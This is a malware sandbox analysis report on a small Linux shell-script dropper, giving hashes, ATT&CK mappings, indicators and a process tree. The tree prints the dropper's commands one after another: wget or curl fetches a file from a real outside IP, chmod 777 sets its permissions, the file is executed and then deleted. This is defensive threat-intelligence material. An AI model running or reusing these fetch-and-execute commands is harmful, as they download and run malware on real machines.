07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42

Analysis

max time kernel
9s
max time network
11s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31/07/2026, 19:42

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
Size 1KB
Sample260731-yes5ysff75
SHA256 07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42
MD5 a521037bdc564fb7c1c9c3f0972e6c9e
SHA1 c9c6ac2822223c1a553c8dce741b7918419d5efa
SHA512 4b52ae9cdecd6a2bb761ca1cbb34c9d01a044acb2e2d516ded607cb5b2c838031d7c8eeb4c140b0063381df2401e2f585669e02ae9e1a45d53c5f6baef11cb9e
TLSH
T148316DDF50246E380653CACE73B6218CA44CC6F72C9BD7959D490EB9864A1CCB266FC1
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
685	chmod
765	chmod
772	chmod
779	chmod
796	chmod
817	chmod
677	chmod
692	chmod
699	chmod
720	chmod
741	chmod
830	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/fc713a	678	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/0efa59	686	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/b22ab5	693	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/354edc	700	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/23e522	722	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/0fabad	743	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/5fd134	766	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/11c2a0	773	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/da7a04	780	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/96f5c0	797	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/dd1d24	818	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/20edef	831	07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/fc713a	curl
File opened for modification	/tmp/0efa59	curl
File opened for modification	/tmp/0fabad	curl
File opened for modification	/tmp/5fd134	curl
File opened for modification	/tmp/11c2a0	curl
File opened for modification	/tmp/dd1d24	curl
File opened for modification	/tmp/20edef	curl
File opened for modification	/tmp/b22ab5	curl
File opened for modification	/tmp/354edc	curl
File opened for modification	/tmp/23e522	curl
File opened for modification	/tmp/da7a04	curl
File opened for modification	/tmp/96f5c0	curl

/tmp/07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
/tmp/07ccb92d5ec8f2e7392fbca8c41b31a860f8965e0fdc766e525f3d1c72dc7c42.sh
1⤵
- Executes dropped EXE
PID:648
- /usr/bin/wget
  wget http://5.182.210.61/fc713a
  2⤵
  PID:654
- /usr/bin/curl
  curl -O http://5.182.210.61/fc713a
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:670
- /bin/chmod
  chmod 777 fc713a
  2⤵
  - File and Directory Permissions Modification
  PID:677
- /tmp/fc713a
  ./fc713a bc
  2⤵
  PID:678
- /bin/rm
  rm -rf fc713a
  2⤵
  PID:680
- /bin/rm
  rm -rf fc713a.1
  2⤵
  PID:681
- /usr/bin/wget
  wget http://5.182.210.61/0efa59
  2⤵
  PID:682
- /usr/bin/curl
  curl -O http://5.182.210.61/0efa59
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:684
- /bin/chmod
  chmod 777 0efa59
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/0efa59
  ./0efa59 bc
  2⤵
  PID:686
- /bin/rm
  rm -rf 0efa59
  2⤵
  PID:688
- /bin/rm
  rm -rf 0efa59.1
  2⤵
  PID:689
- /usr/bin/wget
  wget http://5.182.210.61/b22ab5
  2⤵
  PID:690
- /usr/bin/curl
  curl -O http://5.182.210.61/b22ab5
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:691
- /bin/chmod
  chmod 777 b22ab5
  2⤵
  - File and Directory Permissions Modification
  PID:692
- /tmp/b22ab5
  ./b22ab5 bc
  2⤵
  PID:693
- /bin/rm
  rm -rf b22ab5
  2⤵
  PID:695
- /bin/rm
  rm -rf b22ab5.1
  2⤵
  PID:696
- /usr/bin/wget
  wget http://5.182.210.61/354edc
  2⤵
  PID:697
- /usr/bin/curl
  curl -O http://5.182.210.61/354edc
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:698
- /bin/chmod
  chmod 777 354edc
  2⤵
  - File and Directory Permissions Modification
  PID:699
- /tmp/354edc
  ./354edc bc
  2⤵
  PID:700
- /bin/rm
  rm -rf 354edc
  2⤵
  PID:703
- /bin/rm
  rm -rf 354edc.1
  2⤵
  PID:705
- /usr/bin/wget
  wget http://5.182.210.61/23e522
  2⤵
  PID:706
- /usr/bin/curl
  curl -O http://5.182.210.61/23e522
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:713
- /bin/chmod
  chmod 777 23e522
  2⤵
  - File and Directory Permissions Modification
  PID:720
- /tmp/23e522
  ./23e522 bc
  2⤵
  PID:722
- /bin/rm
  rm -rf 23e522
  2⤵
  PID:724
- /bin/rm
  rm -rf 23e522.1
  2⤵
  PID:726
- /usr/bin/wget
  wget http://5.182.210.61/0fabad
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://5.182.210.61/0fabad
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:734
- /bin/chmod
  chmod 777 0fabad
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/0fabad
  ./0fabad bc
  2⤵
  PID:743
- /bin/rm
  rm -rf 0fabad
  2⤵
  PID:747
- /bin/rm
  rm -rf 0fabad.1
  2⤵
  PID:749
- /usr/bin/wget
  wget http://5.182.210.61/5fd134
  2⤵
  PID:750
- /usr/bin/curl
  curl -O http://5.182.210.61/5fd134
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /bin/chmod
  chmod 777 5fd134
  2⤵
  - File and Directory Permissions Modification
  PID:765
- /tmp/5fd134
  ./5fd134 bc
  2⤵
  PID:766
- /bin/rm
  rm -rf 5fd134
  2⤵
  PID:768
- /bin/rm
  rm -rf 5fd134.1
  2⤵
  PID:769
- /usr/bin/wget
  wget http://5.182.210.61/11c2a0
  2⤵
  PID:770
- /usr/bin/curl
  curl -O http://5.182.210.61/11c2a0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:771
- /bin/chmod
  chmod 777 11c2a0
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/11c2a0
  ./11c2a0 bc
  2⤵
  PID:773
- /bin/rm
  rm -rf 11c2a0
  2⤵
  PID:775
- /bin/rm
  rm -rf 11c2a0.1
  2⤵
  PID:776
- /usr/bin/wget
  wget http://5.182.210.61/da7a04
  2⤵
  PID:777
- /usr/bin/curl
  curl -O http://5.182.210.61/da7a04
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 777 da7a04
  2⤵
  - File and Directory Permissions Modification
  PID:779
- /tmp/da7a04
  ./da7a04 bc
  2⤵
  PID:780
- /bin/rm
  rm -rf da7a04
  2⤵
  PID:782
- /bin/rm
  rm -rf da7a04.1
  2⤵
  PID:783
- /usr/bin/wget
  wget http://5.182.210.61/96f5c0
  2⤵
  PID:784
- /usr/bin/curl
  curl -O http://5.182.210.61/96f5c0
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:788
- /bin/chmod
  chmod 777 96f5c0
  2⤵
  - File and Directory Permissions Modification
  PID:796
- /tmp/96f5c0
  ./96f5c0 bc
  2⤵
  PID:797
- /bin/rm
  rm -rf 96f5c0
  2⤵
  PID:800
- /bin/rm
  rm -rf 96f5c0.1
  2⤵
  PID:802
- /usr/bin/wget
  wget http://5.182.210.61/dd1d24
  2⤵
  PID:803
- /usr/bin/curl
  curl -O http://5.182.210.61/dd1d24
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod 777 dd1d24
  2⤵
  - File and Directory Permissions Modification
  PID:817
- /tmp/dd1d24
  ./dd1d24 bc
  2⤵
  PID:818
- /bin/rm
  rm -rf dd1d24
  2⤵
  PID:821
- /bin/rm
  rm -rf dd1d24.1
  2⤵
  PID:823
- /usr/bin/wget
  wget http://5.182.210.61/20edef
  2⤵
  PID:824
- /usr/bin/curl
  curl -O http://5.182.210.61/20edef
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:829
- /bin/chmod
  chmod 777 20edef
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/20edef
  ./20edef bc
  2⤵
  PID:831
- /bin/rm
  rm -rf 20edef
  2⤵
  PID:833
- /bin/rm
  rm -rf 20edef.1
  2⤵
  PID:834

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

fc713a

Path /tmp/fc713a
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads